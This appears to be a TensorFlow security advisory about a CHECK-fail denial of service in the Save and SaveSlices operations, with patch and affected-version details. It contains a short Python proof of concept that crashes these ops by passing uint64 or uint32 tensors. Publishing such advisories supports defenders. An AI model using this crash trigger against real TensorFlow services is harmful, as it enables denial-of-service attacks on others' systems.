TensorFlow vulnerable to `CHECK` fail in `Save` and `SaveSlices`
Impact
If Save or SaveSlices is run over tensors of an unsupported dtype, it results in a CHECK fail that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
filename = tf.constant("")
tensor_names = tf.constant("")
Save
data = tf.cast(tf.random.uniform(shape=[1], minval=-10000, maxval=10000, dtype=tf.int64, seed=-2021), tf.uint64)
tf.raw_ops.Save(filename=filename, tensor_names=tensor_names, data=data, )
SaveSlices
shapes_and_slices = tf.constant("")
data = tf.cast(tf.random.uniform(shape=[1], minval=-10000, maxval=10000, dtype=tf.int64, seed=9712), tf.uint32)
tf.raw_ops.SaveSlices(filename=filename, tensor_names=tensor_names, shapes_and_slices=shapes_and_slices, data=data, )

Patches
We have patched the issue in GitHub commit [5dd7b86b84a864b834c6fa3d7f9f51c87efa99d4](https://github.com/tensorflow/tensorflow/commit/5dd7b86b84a864b834c6fa3d7f9f51c87efa99d4).
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
